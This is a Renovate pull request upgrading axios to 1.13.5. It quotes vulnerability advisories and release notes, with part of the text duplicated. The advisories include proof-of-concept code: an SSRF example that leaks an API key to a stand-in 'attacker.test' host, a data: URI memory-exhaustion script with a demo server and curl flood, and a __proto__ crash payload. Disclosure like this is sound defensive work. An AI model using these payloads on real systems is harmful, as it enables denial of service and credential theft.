i️ Note
This PR body was truncated due to platform limits.
This PR contains the following updates:
GitHub Vulnerability Alerts
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.
Summary
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Details
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
- When
baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
- Before sending the HTTP request (after combining the
baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.
PoC
Follow the steps below to reproduce the issue:
- Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
- Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
- Run the script:
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
Impact
- Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
- SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
- Affected Users: Software that uses
baseURL and does not validate path parameters is affected by this issue.
Summary
When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.
Details
The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.
Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):
const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];
if (protocol === 'data:') {
let convertedData;
if (method !== 'GET') {
return settle(resolve, reject, { status: 405, ... });
}
convertedData = fromDataURI(config.url, responseType === 'blob', {
Blob: config.env && config.env.Blob
});
return settle(resolve, reject, { data: convertedData, status: 200, ... });
}
The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):
export default function fromDataURI(uri, asBlob, options) {
...
if (protocol === 'data') {
uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
const match = DATA_URL_PATTERN.exec(uri);
...
const body = match[3];
const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
if (asBlob) { return new _Blob([buffer], {type: mime}); }
return buffer;
}
throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
- The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
- It does not honour
config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
- As a result, a
data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.
In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.
PoC
const axios = require('axios');
async function main() {
// this example decodes ~120 MB
const base64Size = 160_000_000; // 120 MB after decoding
const base64 = 'A'.repeat(base64Size);
const uri = 'data:application/octet-stream;base64,' + base64;
console.log('Generating URI with base64 length:', base64.length);
const response = await axios.get(uri, {
responseType: 'arraybuffer'
});
console.log('Received bytes:', response.data.length);
}
main().catch(err => {
console.error('Error:', err.message);
});
Run with limited heap to force a crash:
node --max-old-space-size=100 poc.js
Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:
<--- Last few GCs --->
...
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x... node::Abort() ...
...
Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.
import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";
const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
timeout: 10000,
maxRedirects: 5,
httpAgent, httpsAgent,
headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
validateStatus: c => c >= 200 && c < 400
});
const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";
app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));
app.get("/healthz", (req,res)=>res.send("ok"));
/**
* POST /preview { "url": "<http|https|data URL>" }
* Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
*/
app.post("/preview", async (req, res) => {
const url = req.body?.url;
if (!url) return res.status(400).json({ error: "missing url" });
let u;
try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }
// Developer allows using data:// in the allowlist
const allowed = new Set(["http:", "https:", "data:"]);
if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });
const controller = new AbortController();
const onClose = () => controller.abort();
res.on("close", onClose);
const before = process.memoryUsage().heapUsed;
try {
const r = await axiosClient.get(u.toString(), {
responseType: "stream",
maxContentLength: 8 * 1024, // Axios will ignore this for data:
maxBodyLength: 8 * 1024, // Axios will ignore this for data:
signal: controller.signal
});
// stream only the first 64KB back
const cap = 64 * 1024;
let sent = 0;
const limiter = new PassThrough();
r.data.on("data", (chunk) => {
if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
else { sent += chunk.length; limiter.write(chunk); }
});
r.data.on("end", () => limiter.end());
r.data.on("error", (e) => limiter.destroy(e));
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
limiter.pipe(res);
} catch (err) {
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
res.status(502).json({ error: String(err?.message || err) });
} finally {
res.off("close", onClose);
}
});
app.listen(PORT, () => {
console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});
Run this app and send 3 post requests:
SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @​payload.json -o /dev/null```
Suggestions
-
Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
-
Stream decoding
Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.
Denial of Service via proto Key in mergeConfig
Summary
The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.
Details
The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:
utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
const merge = mergeMap[prop] || mergeDeepProperties;
const configValue = merge(config1[prop], config2[prop], prop);
(utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});
When prop is '__proto__':
JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
Object.keys() includes '__proto__' in the iteration
mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
- The expression
mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
Object.prototype(...) throws TypeError: merge is not a function
The mergeConfig function is called by:
Axios._request() at lib/core/Axios.js:75
Axios.getUri() at lib/core/Axios.js:201
- All HTTP method shortcuts (
get, post, etc.) at lib/core/Axios.js:211,224
PoC
import axios from "axios";
const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);
Reproduction steps:
- Clone axios repository or
npm install axios
- Create file
poc.mjs with the code above
- Run:
node poc.mjs
- Observe the TypeError crash
Verified output (axios 1.13.4):
TypeError: merge is not a function
at computeConfigValue (lib/core/mergeConfig.js:100:25)
at Object.forEach (lib/utils.js:280:10)
at mergeConfig (lib/core/mergeConfig.js:98:9)
Control tests performed:
| Test |
Config |
Result |
| Normal config |
{"timeout": 5000} |
SUCCESS |
| Malicious config |
JSON.parse('{"__proto__": {"x": 1}}') |
CRASH |
| Nested object |
{"headers": {"X-Test": "value"}} |
SUCCESS |
Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.
Impact
Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.
Affected environments:
- Node.js servers using axios for HTTP requests
- Any backend that passes parsed JSON to axios configuration
This is NOT prototype pollution - the application crashes before any assignment occurs.
Release Notes
axios/axios (axios)
Compare Source
Release 1.13.5
Highlights
- Security: Fixed a potential Denial of Service issue involving the
__proto__ key in mergeConfig. (PR #7369)
- Bug fix: Resolved an issue where
AxiosError could be missing the status field on and after v1.13.3. (PR #7368)
Changes
Security
- Fix Denial of Service via
__proto__ key in mergeConfig. (PR #7369)
Fixes
- Fix/5657. (PR #7313)
- Ensure
status is present in AxiosError on and after v1.13.3. (PR #7368)
Features / Improvements
- Add input validation to
isAbsoluteURL. (PR #7326)
- Refactor: bump minor package versions. (PR #7356)
Documentation
- Clarify object-check comment. (PR #7323)
- Fix deprecated
Buffer constructor usage and README formatting. (PR #7371)
CI / Maintenance
- Chore: fix issues with YAML. (PR #7355)
- CI: update workflow YAMLs. (PR #7372)
- CI: fix run condition. (PR #7373)
- Dev deps: bump
karma-sourcemap-loader from 0.3.8 to 0.4.0. (PR #7360)
- Chore(release): prepare release 1.13.5. (PR #7379)
New Contributors
Full Changelog: axios/axios@v1.13.4...v1.13.5
Compare Source
Overview
The release addresses issues discovered in v1.13.3 and includes significant CI/CD improvements.
Full Changelog: v1.13.3...v1.13.4
What's New in v1.13.4
Bug Fixes
- fix: issues with version 1.13.3 (#7352) (ee90dfc)
- Fixed issues discovered in v1.13.3 release
- Cleaned up interceptor test files
- Improved workflow configurations
Infrastructure & CI/CD
Migration Notes
Breaking Changes
None in this release.
Deprecations
None in this release.
Contributors
Thank you to all contributors who made this release possible! Special thanks to:
Compare Source
Bug Fixes
- http2: Use port 443 for HTTPS connections by default. (#7256) (d7e6065)
- interceptor: handle the error in the same interceptor (#6269) (5945e40)
- main field in package.json should correspond to cjs artifacts (#5756) (7373fbf)
- package.json: add 'bun' package.json 'exports' condition. Load the Node.js build in Bun instead of the browser build (#5754) (b89217e)
- silentJSONParsing=false should throw on invalid JSON (#7253) (#7257) (7d19335)
- turn AxiosError into a native error (#5394) (#5558) (1c6a86d)
- types: add handlers to AxiosInterceptorManager interface (#5551) (8d1271b)
- types: restore AxiosError.cause type from unknown to Error (#7327) (d8233d9)
- unclear error message is thrown when specifying an empty proxy authorization (#6314) (6ef867e)
Features
Reverts
Contributors to this release
Compare Source
Bug Fixes
- http: fix 'socket hang up' bug for keep-alive requests when using timeouts; (#7206) (8d37233)
- http: use default export for http2 module to support stubs; (#7196) (0588880)
Performance Improvements
Contributors to this release
Compare Source
Bug Fixes
- http: fixed a regression that caused the data stream to be interrupted for responses with non-OK HTTP statuses; (#7193) (bcd5581)
Contributors to this release
Compare Source
Bug Fixes
Features
Contributors to this release
1.12.2 (2025年09月14日)
Bug Fixes
- fetch: use current global fetch instead of cached one when env fetch is not specified to keep MSW support; (#7030) (cf78825)
Contributors to this release
1.12.1 (2025年09月12日)
Bug Fixes
Contributors to this release
Compare Source
Bug Fixes
- fetch: use current global fetch instead of cached one when env fetch is not specified to keep MSW support; (#7030) (cf78825)
Contributors to this release
Compare Source
Bug Fixes
Contributors to this release
Compare Source
Bug Fixes
Features
- adapter: surface low‐level network error details; attach original error via cause (#6982) (78b290c)
- fetch: add fetch, Request, Response env config variables for the adapter; (#7003) (c959ff2)
- support reviver on JSON.parse (#5926) (2a97634), closes #5924
- types: extend AxiosResponse interface to include custom headers type (#6782) (7960d34)
Contributors to this release
Compare Source
Bug Fixes
- form-data npm pakcage (#6970) (e72c193)
- prevent RangeError when using large Buffers (#6961) (a2214ca)
- types: resolve type discrepancies between ESM and CJS TypeScript declaration files (#6956) (8517aa1)
Contributors to this release
Compare Source
Bug Fixes
- adapter: pass fetchOptions to fetch function (#6883) (0f50af8)
- form-data: convert boolean values to strings in FormData serialization (#6917) (5064b10)
- package: add module entry point for React Native; (#6933) (3d343b8)
Features
Contributors to this release
Compare Source
Bug Fixes
- core: fix the Axios constructor implementation to treat the config argument as optional; (#6881) (6c5d4cd)
- fetch: fixed ERR_NETWORK mapping for Safari browsers; (#6767) (dfe8411)
- headers: allow iterable objects to be a data source for the set method; (#6873) (1b1f9cc)
- headers: fix
getSetCookie by using 'get' method for caseless access; (#6874) (d4f7df4)
- headers: fixed support for setting multiple header values from an iterated source; (#6885) (f7a3b5e)
- http: send minimal end multipart boundary (#6661) (987d2e2)
- types: fix autocomplete for adapter config (#6855) (e61a893)
Features
- AxiosHeaders: add getSetCookie method to retrieve set-cookie headers values (#5707) (80ea756)
Contributors to this release
1.8.4 (2025年03月19日)
Bug Fixes
- buildFullPath: handle
allowAbsoluteUrls: false without baseURL (#6833) (f10c2e0)
Contributors to this release
1.8.3 (2025年03月10日)
Bug Fixes
- add missing type for allowAbsoluteUrls (#6818) (10fa70e)
- xhr/fetch: pass
allowAbsoluteUrls to buildFullPath in xhr and fetch adapters (#6814) (ec159e5)
Contributors to this release
1.8.2 (2025年03月07日)
Bug Fixes
- http-adapter: add allowAbsoluteUrls to path building (#6810) (fb8eec2)
Contributors to this release
1.8.1 (2025年02月26日)
Bug Fixes
- utils: move
generateString to platform utils to avoid importing crypto module into client builds; (#6789) (36a5a62)
Contributors to this release
Compare Source
Bug Fixes
- core: fix the Axios constructor implementation to treat the config argument as optional; (#6881) (6c5d4cd)
- fetch: fixed ERR_NETWORK mapping for Safari browsers; (#6767) (dfe8411)
- headers: allow iterable objects to be a data source f
Configuration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.
Uh oh!
There was an error while loading. Please reload this page.
This PR contains the following updates:
1.7.2→1.13.5GitHub Vulnerability Alerts
CVE-2023-45857
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
CVE-2024-39338
axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.
CVE-2025-27152
Summary
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if
baseURLis set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.Details
Consider the following code snippet:
In this example, the request is sent to
http://attacker.test/instead of thebaseURL. As a result, the domain owner ofattacker.testwould receive theX-API-KEYincluded in the request headers.It is recommended that:
baseURLis set, passing an absolute URL such ashttp://attacker.test/toget()should not ignorebaseURL.baseURLwith the user-provided parameter), axios should verify that the resulting URL still begins with the expectedbaseURL.PoC
Follow the steps below to reproduce the issue:
Even though
baseURLis set tohttp://localhost:10001/, axios sends the request tohttp://localhost:10002/.Impact
baseURLand does not validate path parameters is affected by this issue.CVE-2025-58754
Summary
When Axios runs on Node.js and is given a URL with the
data:scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.This path ignores
maxContentLength/maxBodyLength(which only protect HTTP responses), so an attacker can supply a very largedata:URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requestedresponseType: 'stream'.Details
The Node adapter (
lib/adapters/http.js) supports thedata:scheme. Whenaxiosencounters a request whose URL starts withdata:, it does not perform an HTTP request. Instead, it callsfromDataURI()to decode the Base64 payload into a Buffer or Blob.Relevant code from
[httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):The decoder is in
[lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):config.maxContentLengthorconfig.maxBodyLength, which only apply to HTTP streams.data:URI of arbitrary size can cause the Node process to allocate the entire content into memory.In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when
totalResponseBytesexceeds[maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs fordata:URIs.PoC
Run with limited heap to force a crash:
Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:
Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore
maxContentLength,maxBodyLengthand decodes into memory on Node before streaming enabling DoS.Run this app and send 3 post requests:
Suggestions
Enforce size limits
For
protocol === 'data:', inspect the length of the Base64 payload before decoding. Ifconfig.maxContentLengthorconfig.maxBodyLengthis set, reject URIs whose payload exceeds the limit.Stream decoding
Instead of decoding the entire payload in one
Buffer.fromcall, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.CVE-2026-25639
Denial of Service via proto Key in mergeConfig
Summary
The
mergeConfigfunction in axios crashes with a TypeError when processing configuration objects containing__proto__as an own property. An attacker can trigger this by providing a malicious configuration object created viaJSON.parse(), causing complete denial of service.Details
The vulnerability exists in
lib/core/mergeConfig.jsat lines 98-101:When
propis'__proto__':JSON.parse('{"__proto__": {...}}')creates an object with__proto__as an own enumerable propertyObject.keys()includes'__proto__'in the iterationmergeMap['__proto__']performs prototype chain lookup, returningObject.prototype(truthy object)mergeMap[prop] || mergeDeepPropertiesevaluates toObject.prototypeObject.prototype(...)throwsTypeError: merge is not a functionThe
mergeConfigfunction is called by:Axios._request()atlib/core/Axios.js:75Axios.getUri()atlib/core/Axios.js:201get,post, etc.) atlib/core/Axios.js:211,224PoC
Reproduction steps:
npm install axiospoc.mjswith the code abovenode poc.mjsVerified output (axios 1.13.4):
Control tests performed:
{"timeout": 5000}JSON.parse('{"__proto__": {"x": 1}}'){"headers": {"X-Test": "value"}}Attack scenario:
An application that accepts user input, parses it with
JSON.parse(), and passes it to axios configuration will crash when receiving the payload{"__proto__": {"x": 1}}.Impact
Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.
Affected environments:
This is NOT prototype pollution - the application crashes before any assignment occurs.
Release Notes
axios/axios (axios)
v1.13.5Compare Source
Release 1.13.5
Highlights
__proto__key inmergeConfig. (PR #7369)AxiosErrorcould be missing thestatusfield on and after v1.13.3. (PR #7368)Changes
Security
__proto__key inmergeConfig. (PR #7369)Fixes
statusis present inAxiosErroron and after v1.13.3. (PR #7368)Features / Improvements
isAbsoluteURL. (PR #7326)Documentation
Bufferconstructor usage and README formatting. (PR #7371)CI / Maintenance
karma-sourcemap-loaderfrom 0.3.8 to 0.4.0. (PR #7360)New Contributors
Full Changelog: axios/axios@v1.13.4...v1.13.5
v1.13.4Compare Source
Overview
The release addresses issues discovered in v1.13.3 and includes significant CI/CD improvements.
Full Changelog: v1.13.3...v1.13.4
What's New in v1.13.4
Bug Fixes
Infrastructure & CI/CD
refactor: ci and build (#7340) (8ff6c19)
chore: codegen and some updates to workflows (76cf77b)
Migration Notes
Breaking Changes
None in this release.
Deprecations
None in this release.
Contributors
Thank you to all contributors who made this release possible! Special thanks to:
v1.13.3Compare Source
Bug Fixes
Features
undefinedas a value in AxiosRequestConfig (#5560) (095033c)Reverts
Contributors to this release
v1.13.2Compare Source
Bug Fixes
Performance Improvements
Contributors to this release
v1.13.1Compare Source
Bug Fixes
Contributors to this release
v1.13.0Compare Source
Bug Fixes
Features
Contributors to this release
1.12.2 (2025年09月14日)
Bug Fixes
Contributors to this release
1.12.1 (2025年09月12日)
Bug Fixes
Contributors to this release
v1.12.2Compare Source
Bug Fixes
Contributors to this release
v1.12.1Compare Source
Bug Fixes
Contributors to this release
v1.12.0Compare Source
Bug Fixes
Features
Contributors to this release
v1.11.0Compare Source
Bug Fixes
Contributors to this release
v1.10.0Compare Source
Bug Fixes
Features
Contributors to this release
v1.9.0Compare Source
Bug Fixes
getSetCookieby using 'get' method for caseless access; (#6874) (d4f7df4)Features
Contributors to this release
1.8.4 (2025年03月19日)
Bug Fixes
allowAbsoluteUrls: falsewithoutbaseURL(#6833) (f10c2e0)Contributors to this release
1.8.3 (2025年03月10日)
Bug Fixes
allowAbsoluteUrlstobuildFullPathinxhrandfetchadapters (#6814) (ec159e5)Contributors to this release
1.8.2 (2025年03月07日)
Bug Fixes
Contributors to this release
1.8.1 (2025年02月26日)
Bug Fixes
generateStringto platform utils to avoid importing crypto module into client builds; (#6789) (36a5a62)Contributors to this release
v1.8.4Compare Source
Bug Fixes
Configuration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.